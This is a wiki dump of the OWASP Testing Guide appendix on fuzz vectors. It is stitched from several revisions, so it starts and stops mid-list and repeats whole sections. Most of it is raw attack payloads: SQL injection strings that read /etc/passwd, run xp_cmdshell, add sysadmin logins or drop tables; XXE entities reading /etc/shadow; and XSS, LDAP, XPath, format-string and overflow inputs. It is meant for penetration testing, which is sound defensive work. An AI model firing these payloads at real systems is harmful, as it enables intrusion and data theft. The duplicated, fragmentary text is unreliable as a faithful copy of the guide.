<nowiki>%x x 257</nowiki>

==== Integer Overflows (INT) ====

Integer overflow errors occur when a program fails to account for the fact that an arithmetic operation can result in a quantity either greater than a data type's maximum value or less than its minimum value. If an attacker can cause the program to perform such a memory allocation, the program can be potentially vulnerabie to a buffer overflow attack.

<nowiki>-1</nowiki>
<nowiki>0</nowiki>
<nowiki>0x100</nowiki>
<nowiki>0x1000</nowiki>
<nowiki>0x3fffffff</nowiki>
<nowiki>0x7ffffffe</nowiki>
<nowiki>0x7fffffff</nowiki>
<nowiki>0x80000000</nowiki>
<nowiki>0xfffffffe</nowiki>
<nowiki>0xffffffff</nowiki>
<nowiki>0x10000</nowiki>
<nowiki>0x100000</nowiki>

=== SQL Injection ===

For details on Testing SQL Injection: [[Testing_for_SQL_Injection]]

==== Passive SQL Injection (SQP) ====

<nowiki>'||(elt(-3+5,bin(15),ord(10),hex(char(45))))</nowiki>
<nowiki>||6</nowiki>
<nowiki>'||'6</nowiki>
<nowiki>(||6)</nowiki>
<nowiki>' OR 1=1--</nowiki>
<nowiki>OR 1=1</nowiki>
<nowiki>' OR '1'='1</nowiki>
<nowiki>; OR '1'='1'</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+</nowiki>
<nowiki>' or 1=1--</nowiki>
<nowiki>" or 1=1--</nowiki>
<nowiki>' or 1=1 /*</nowiki>
<nowiki>or 1=1--</nowiki>
<nowiki>' or 'a'='a</nowiki>
<nowiki>" or "a"="a</nowiki>
<nowiki>') or ('a'='a</nowiki>
<nowiki>Admin' OR '</nowiki>
<nowiki>'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--</nowiki>
<nowiki>) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' group by userid having 1=1--</nowiki>
<nowiki>' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--</nowiki>
<nowiki>' or 1 in (select @@version)--</nowiki>
<nowiki>' union all select @@version--</nowiki>
<nowiki>' OR 'unusual' = 'unusual'</nowiki>
<nowiki>' OR 'something' = 'some'+'thing'</nowiki>
<nowiki>' OR 'text' = N'text'</nowiki>
<nowiki>' OR 'something' like 'some%'</nowiki>
<nowiki>' OR 2 > 1</nowiki>
<nowiki>' OR 'text' > 't'</nowiki>
<nowiki>' OR 'whatever' in ('whatever')</nowiki>
<nowiki>' OR 2 BETWEEN 1 and 3</nowiki>
<nowiki>' or username like char(37);</nowiki>
<nowiki>' union select * from users where login = char(114,111,111,116);</nowiki>
<nowiki>' union select </nowiki>
<nowiki>Password:*/=1--</nowiki>
<nowiki>UNI/**/ON SEL/**/ECT</nowiki>
<nowiki>'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'</nowiki>
<nowiki>'; EXEC ('SEL' + 'ECT US' + 'ER')</nowiki>
<nowiki>'/**/OR/**/1/**/=/**/1</nowiki>
<nowiki>' or 1/*</nowiki>
<nowiki>+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+&password=</nowiki>
<nowiki>'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
@var select @var as var into temp end --</nowiki> 
<nowiki>' and 1 in (select var from temp)--</nowiki>
<nowiki>' union select 1,load_file('/etc/passwd'),1,1,1;</nowiki>
<nowiki>1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;</nowiki>
<nowiki>' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));</nowiki>

==== Active SQL Injection (SQI) ====

<nowiki>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY 'pass123'</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; </nowiki>
<nowiki>' ; drop table temp --</nowiki>
<nowiki>exec sp_addlogin 'name' , 'password'</nowiki>
<nowiki>exec sp_addsrvrolemember 'name' , 'sysadmin'</nowiki>
<nowiki>INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))</nowiki>
<nowiki>GRANT CONNECT TO name; GRANT RESOURCE TO name;</nowiki>
<nowiki>INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)</nowiki>

=== LDAP Injection ===

For details on LDAP Injection: [[LDAP_Injection_Testing_AoC]]

<nowiki>|</nowiki>
<nowiki>!</nowiki>
<nowiki>(</nowiki>
<nowiki>)</nowiki>
<nowiki>%28</nowiki>
<nowiki>%29</nowiki>
<nowiki>&</nowiki>
<nowiki>%26</nowiki>
<nowiki>%21</nowiki>
<nowiki>%7C</nowiki>
<nowiki>*|</nowiki>
<nowiki>%2A%7C</nowiki>
<nowiki>*(|(mail=*))</nowiki>
<nowiki>%2A%28%7C%28mail%3D%2A%29%29</nowiki>
<nowiki>*(|(objectclass=*))</nowiki>
<nowiki>%2A%28%7C%28objectclass%3D%2A%29%29</nowiki>
<nowiki>*()|%26'</nowiki>
<nowiki>admin*</nowiki>
<nowiki>admin*)((|userPassword=*)</nowiki>
<nowiki>*)(uid=*))(|(uid=*</nowiki>

=== XPATH Injection ===

For details on XPATH Injection: [[XPath_Injection_Testing_AoC]]

<nowiki>'+or+'1'='1</nowiki>
<nowiki>'+or+''='</nowiki>
<nowiki>x'+or+1=1+or+'x'='y</nowiki>
<nowiki>/</nowiki>
<nowiki>//</nowiki>
<nowiki>//*</nowiki>
<nowiki>*/*</nowiki>
<nowiki>@*</nowiki>
<nowiki>count(/child::node())</nowiki>
<nowiki>x'+or+name()='username'+or+'x'='y</nowiki>

=== XML Injection ===

Details on XML Injection here: [[XML_Injection_Testing_AoC]]

<nowiki><![CDATA[<script>var n=0;while(true){n++;}</script>]]></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo></nowiki>

{{Category:OWASP Testing Project AoC}}

OWASP Testing Guide Appendix C: Fuzz Vectors

2006-12-13T23:46:17Z

Subere: /* Format String Errors (FSE) */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

The following are fuzzing vectors which can be used with [[WebScarab]], [[JBroFuzz]], [[WSFuzzer]], or another fuzzer.
Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.
This is the simple part of the discovery phase.
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

=== Fuzz Categories ===

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

* Recursive fuzzing
* Replacive fuzzing

We examine and define each category in the sub-sections that follow.

==== Recursive fuzzing ====

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:
<pre>
<nowiki>http://www.example.com/00000000</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/11000fff</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/ffffffff</nowiki>
</pre>

==== Replacive fuzzing ====

Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:

<pre>
<nowiki>http://www.example.com/>"><script>alert("XSS")</script>&</nowiki>
<nowiki>http://www.example.com/'';!--"<XSS>=&{()}</nowiki>
</pre>

This is a form of replacive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.

=== Cross Site Scripting (XSS) ===

For details on XSS: [[Cross_site_scripting_AoC]]

<nowiki>>"><script>alert("XSS")</script>&</nowiki>
<nowiki>"><STYLE>@import"javascript:alert('XSS')";</STYLE></nowiki>
<nowiki>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></nowiki> 
<nowiki>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></nowiki>
<nowiki>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</nowiki>
<nowiki>"></nowiki>
<nowiki>>"</nowiki>
<nowiki>'';!--"<XSS>=&{()}</nowiki>
<nowiki><IMG SRC="javascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC=javascript:alert('XSS')></nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert('XSS')> </nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)></nowiki>
<nowiki><IMGSRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41></nowiki>
<nowiki><IMGSRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058
&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></nowiki> 
<nowiki><IMGSRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28
&#x27&#x58&#x53&#x53&#x27&#x29></nowiki> 
<nowiki><IMG SRC="jav&#x09;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki>

=== Buffer Overflows and Format String Errors ===

==== Buffer Overflows (BFO) ====
A buffer overflow or memory corruption attack is a programming condition which allows overflowing of valid data beyond its prelocated storage limit in memory.

For details on Buffer Overflows: [[Buffer_Overflow_Testing_AoC]]

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>A x 5</nowiki>
<nowiki>A x 17</nowiki>
<nowiki>A x 33</nowiki>
<nowiki>A x 65</nowiki>
<nowiki>A x 129</nowiki>
<nowiki>A x 257</nowiki>
<nowiki>A x 513</nowiki>
<nowiki>A x 1024</nowiki>
<nowiki>A x 2049</nowiki>
<nowiki>A x 4097</nowiki>
<nowiki>A x 8193</nowiki>
<nowiki>A x 12288</nowiki>

==== Format String Errors (FSE) ====

Format string attacks are a class of vulnerabilities which involve supplying language specific format tokens in order to execute arbitrary code or crash a program. Fuzzing for such errors has as an objective to check for unfiltered user input.

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>%s%p%x%d</nowiki>
<nowiki>.1024d</nowiki>
<nowiki>%.2049d</nowiki>
<nowiki>%p%p%p%p</nowiki>
<nowiki>%x%x%x%x</nowiki>
<nowiki>%d%d%d%d</nowiki>
<nowiki>%s%s%s%s</nowiki>
<nowiki>%99999999999s</nowiki>
<nowiki>%08x</nowiki>
<nowiki>%%20d</nowiki>
<nowiki>%%20n</nowiki>
<nowiki>%%20x</nowiki>
<nowiki>%%20s</nowiki>
<nowiki>%s%s%s%s%s%s%s%s%s%s</nowiki>
<nowiki>%p%p%p%p%p%p%p%p%p%p</nowiki>
<nowiki>%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%</nowiki>
<nowiki>%s x 129</nowiki>
<nowiki>%x x 257</nowiki>

==== Integer Overflows (INT) ====

<nowiki>-1</nowiki>
<nowiki>0</nowiki>
<nowiki>0x100</nowiki>
<nowiki>0x1000</nowiki>
<nowiki>0x3fffffff</nowiki>
<nowiki>0x7ffffffe</nowiki>
<nowiki>0x7fffffff</nowiki>
<nowiki>0x80000000</nowiki>
<nowiki>0xfffffffe</nowiki>
<nowiki>0xffffffff</nowiki>
<nowiki>0x10000</nowiki>
<nowiki>0x100000</nowiki>

=== SQL Injection ===

For details on Testing SQL Injection: [[Testing_for_SQL_Injection]]

==== Passive SQL Injection (SQP) ====

<nowiki>'||(elt(-3+5,bin(15),ord(10),hex(char(45))))</nowiki>
<nowiki>||6</nowiki>
<nowiki>'||'6</nowiki>
<nowiki>(||6)</nowiki>
<nowiki>' OR 1=1--</nowiki>
<nowiki>OR 1=1</nowiki>
<nowiki>' OR '1'='1</nowiki>
<nowiki>; OR '1'='1'</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+</nowiki>
<nowiki>' or 1=1--</nowiki>
<nowiki>" or 1=1--</nowiki>
<nowiki>' or 1=1 /*</nowiki>
<nowiki>or 1=1--</nowiki>
<nowiki>' or 'a'='a</nowiki>
<nowiki>" or "a"="a</nowiki>
<nowiki>') or ('a'='a</nowiki>
<nowiki>Admin' OR '</nowiki>
<nowiki>'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--</nowiki>
<nowiki>) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' group by userid having 1=1--</nowiki>
<nowiki>' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--</nowiki>
<nowiki>' or 1 in (select @@version)--</nowiki>
<nowiki>' union all select @@version--</nowiki>
<nowiki>' OR 'unusual' = 'unusual'</nowiki>
<nowiki>' OR 'something' = 'some'+'thing'</nowiki>
<nowiki>' OR 'text' = N'text'</nowiki>
<nowiki>' OR 'something' like 'some%'</nowiki>
<nowiki>' OR 2 > 1</nowiki>
<nowiki>' OR 'text' > 't'</nowiki>
<nowiki>' OR 'whatever' in ('whatever')</nowiki>
<nowiki>' OR 2 BETWEEN 1 and 3</nowiki>
<nowiki>' or username like char(37);</nowiki>
<nowiki>' union select * from users where login = char(114,111,111,116);</nowiki>
<nowiki>' union select </nowiki>
<nowiki>Password:*/=1--</nowiki>
<nowiki>UNI/**/ON SEL/**/ECT</nowiki>
<nowiki>'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'</nowiki>
<nowiki>'; EXEC ('SEL' + 'ECT US' + 'ER')</nowiki>
<nowiki>'/**/OR/**/1/**/=/**/1</nowiki>
<nowiki>' or 1/*</nowiki>
<nowiki>+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+&password=</nowiki>
<nowiki>'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
@var select @var as var into temp end --</nowiki> 
<nowiki>' and 1 in (select var from temp)--</nowiki>
<nowiki>' union select 1,load_file('/etc/passwd'),1,1,1;</nowiki>
<nowiki>1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;</nowiki>
<nowiki>' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));</nowiki>

==== Active SQL Injection (SQI) ====

<nowiki>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY 'pass123'</nowiki>
<nowiki>CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; </nowiki>
<nowiki>' ; drop table temp --</nowiki>
<nowiki>exec sp_addlogin 'name' , 'password'</nowiki>
<nowiki>exec sp_addsrvrolemember 'name' , 'sysadmin'</nowiki>
<nowiki>INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))</nowiki>
<nowiki>GRANT CONNECT TO name; GRANT RESOURCE TO name;</nowiki>
<nowiki>INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)</nowiki>

=== LDAP Injection ===

For details on LDAP Injection: [[LDAP_Injection_Testing_AoC]]

<nowiki>|</nowiki>
<nowiki>!</nowiki>
<nowiki>(</nowiki>
<nowiki>)</nowiki>
<nowiki>%28</nowiki>
<nowiki>%29</nowiki>
<nowiki>&</nowiki>
<nowiki>%26</nowiki>
<nowiki>%21</nowiki>
<nowiki>%7C</nowiki>
<nowiki>*|</nowiki>
<nowiki>%2A%7C</nowiki>
<nowiki>*(|(mail=*))</nowiki>
<nowiki>%2A%28%7C%28mail%3D%2A%29%29</nowiki>
<nowiki>*(|(objectclass=*))</nowiki>
<nowiki>%2A%28%7C%28objectclass%3D%2A%29%29</nowiki>
<nowiki>*()|%26'</nowiki>
<nowiki>admin*</nowiki>
<nowiki>admin*)((|userPassword=*)</nowiki>
<nowiki>*)(uid=*))(|(uid=*</nowiki>

=== XPATH Injection ===

For details on XPATH Injection: [[XPath_Injection_Testing_AoC]]

<nowiki>'+or+'1'='1</nowiki>
<nowiki>'+or+''='</nowiki>
<nowiki>x'+or+1=1+or+'x'='y</nowiki>
<nowiki>/</nowiki>
<nowiki>//</nowiki>
<nowiki>//*</nowiki>
<nowiki>*/*</nowiki>
<nowiki>@*</nowiki>
<nowiki>count(/child::node())</nowiki>
<nowiki>x'+or+name()='username'+or+'x'='y</nowiki>

=== XML Injection ===

Details on XML Injection here: [[XML_Injection_Testing_AoC]]

<nowiki><![CDATA[<script>var n=0;while(true){n++;}</script>]]></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo></nowiki>
<nowiki><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo></nowiki>

{{Category:OWASP Testing Project AoC}}

OWASP Testing Guide Appendix C: Fuzz Vectors

2006-12-13T23:44:27Z

Subere: /* Format String Errors (FSE) */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

The following are fuzzing vectors which can be used with [[WebScarab]], [[JBroFuzz]], [[WSFuzzer]], or another fuzzer.
Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.
This is the simple part of the discovery phase.
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

=== Fuzz Categories ===

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

* Recursive fuzzing
* Replacive fuzzing

We examine and define each category in the sub-sections that follow.

==== Recursive fuzzing ====

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:
<pre>
<nowiki>http://www.example.com/00000000</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/11000fff</nowiki>
<nowiki>...</nowiki>
<nowiki>http://www.example.com/ffffffff</nowiki>
</pre>

==== Replacive fuzzing ====

Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

<pre>
<nowiki>http://www.example.com/8302fa3b</nowiki>
</pre>

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:

<pre>
<nowiki>http://www.example.com/>"><script>alert("XSS")</script>&</nowiki>
<nowiki>http://www.example.com/'';!--"<XSS>=&{()}</nowiki>
</pre>

This is a form of replacive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.

=== Cross Site Scripting (XSS) ===

For details on XSS: [[Cross_site_scripting_AoC]]

<nowiki>>"><script>alert("XSS")</script>&</nowiki>
<nowiki>"><STYLE>@import"javascript:alert('XSS')";</STYLE></nowiki>
<nowiki>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></nowiki> 
<nowiki>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></nowiki>
<nowiki>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</nowiki>
<nowiki>"></nowiki>
<nowiki>>"</nowiki>
<nowiki>'';!--"<XSS>=&{()}</nowiki>
<nowiki><IMG SRC="javascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC=javascript:alert('XSS')></nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert('XSS')> </nowiki>
<nowiki><IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)></nowiki>
<nowiki><IMGSRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41></nowiki>
<nowiki><IMGSRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058
&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></nowiki> 
<nowiki><IMGSRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28
&#x27&#x58&#x53&#x53&#x27&#x29></nowiki> 
<nowiki><IMG SRC="jav&#x09;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki>
<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki>

=== Buffer Overflows and Format String Errors ===

==== Buffer Overflows (BFO) ====
A buffer overflow or memory corruption attack is a programming condition which allows overflowing of valid data beyond its prelocated storage limit in memory.

For details on Buffer Overflows: [[Buffer_Overflow_Testing_AoC]]

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>A x 5</nowiki>
<nowiki>A x 17</nowiki>
<nowiki>A x 33</nowiki>
<nowiki>A x 65</nowiki>
<nowiki>A x 129</nowiki>
<nowiki>A x 257</nowiki>
<nowiki>A x 513</nowiki>
<nowiki>A x 1024</nowiki>
<nowiki>A x 2049</nowiki>
<nowiki>A x 4097</nowiki>
<nowiki>A x 8193</nowiki>
<nowiki>A x 12288</nowiki>

==== Format String Errors (FSE) ====

Format string attacks are a class of vulnerabilities which involve supplying language specific format tokens in order to execute arbitrary code or crash a program. Fuzzing for such errors has as an objective to check for unfiltered user input.

<nowiki>%s%p%x%d</nowiki>
<nowiki>.1024d</nowiki>
<nowiki>%.2049d</nowiki>
<nowiki>%p%p%p%p</nowiki>
<nowiki>%x%x%x%x</nowiki>
<nowiki>%d%d%d%d</nowiki>
<nowiki>%s%s%s%s</nowiki>
<nowiki>%99999999999s</nowiki>
<nowiki>%08x</nowiki>
<nowiki>%%20d</nowiki>
<nowiki>%%20n</nowiki>
<nowiki>%%20x</nowiki>
<nowiki>%%20s</nowiki>
<nowiki>%s%s%s%s%s%s%s%s%s%s</nowiki>
<nowiki>%p%p%p%p%p%p%p%p%p%p</nowiki>
<nowiki>%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%</nowiki>
<nowiki>%s x 129</nowiki>
<nowiki>%x x 257</nowiki>

==== Integer Overflows (INT) ====

<nowiki>-1</nowiki>
<nowiki>0</nowiki>
<nowiki>0x100</nowiki>
<nowiki>0x1000</nowiki>
<nowiki>0x3fffffff</nowiki>
<nowiki>0x7ffffffe</nowiki>
<nowiki>0x7fffffff</nowiki>
<nowiki>0x80000000</nowiki>
<nowiki>0xfffffffe</nowiki>
<nowiki>0xffffffff</nowiki>
<nowiki>0x10000</nowiki>
<nowiki>0x100000</nowiki>

=== SQL Injection ===

For details on Testing SQL Injection: [[Testing_for_SQL_Injection]]

==== Passive SQL Injection (SQP) ====

<nowiki>'||(elt(-3+5,bin(15),ord(10),hex(char(45))))</nowiki>
<nowiki>||6</nowiki>
<nowiki>'||'6</nowiki>
<nowiki>(||6)</nowiki>
<nowiki>' OR 1=1--</nowiki>
<nowiki>OR 1=1</nowiki>
<nowiki>' OR '1'='1</nowiki>
<nowiki>; OR '1'='1'</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+</nowiki>
<nowiki>' or 1=1--</nowiki>
<nowiki>" or 1=1--</nowiki>
<nowiki>' or 1=1 /*</nowiki>
<nowiki>or 1=1--</nowiki>
<nowiki>' or 'a'='a</nowiki>
<nowiki>" or "a"="a</nowiki>
<nowiki>') or ('a'='a</nowiki>
<nowiki>Admin' OR '</nowiki>
<nowiki>'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--</nowiki>
<nowiki>) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' having 1=1--</nowiki>
<nowiki>' group by userid having 1=1--</nowiki>
<nowiki>' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--</nowiki>
<nowiki>' or 1 in (select @@version)--</nowiki>
<nowiki>' union all select @@version--</nowiki>
<nowiki>' OR 'unusual' = 'unusual'</nowiki>
<nowiki>' OR 'something' = 'some'+'thing'</nowiki>
<nowiki>' OR 'text' = N'text'</nowiki>
<nowiki>' OR 'something' like 'some%'</nowiki>
<nowiki>' OR 2 > 1</nowiki>
<nowiki>' OR 'text' > 't'</nowiki>
<nowiki>' OR 'whatever' in ('whatever')</nowiki>
<nowiki>' OR 2 BETWEEN 1 and 3</nowiki>
<nowiki>' or username like char(37);</nowiki>
<nowiki>' union select * from users where login = char(114,111,111,116);</nowiki>
<nowiki>' union select </nowiki>
<nowiki>Password:*/=1--</nowiki>
<nowiki>UNI/**/ON SEL/**/ECT</nowiki>
<nowiki>'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'</nowiki>
<nowiki>'; EXEC ('SEL' + 'ECT US' + 'ER')</nowiki>
<nowiki>'/**/OR/**/1/**/=/**/1</nowiki>
<nowiki>' or 1/*</nowiki>
<nowiki>+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki>
<nowiki>%27+--+&password=</nowiki>
<nowiki>'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
@var select @var as var into temp end --</nowiki> 
<nowiki>' and 1 in (select var from temp)--</nowiki>
<nowiki>' union select 1,load_file('/etc/passwd'),1,1,1;</nowiki>
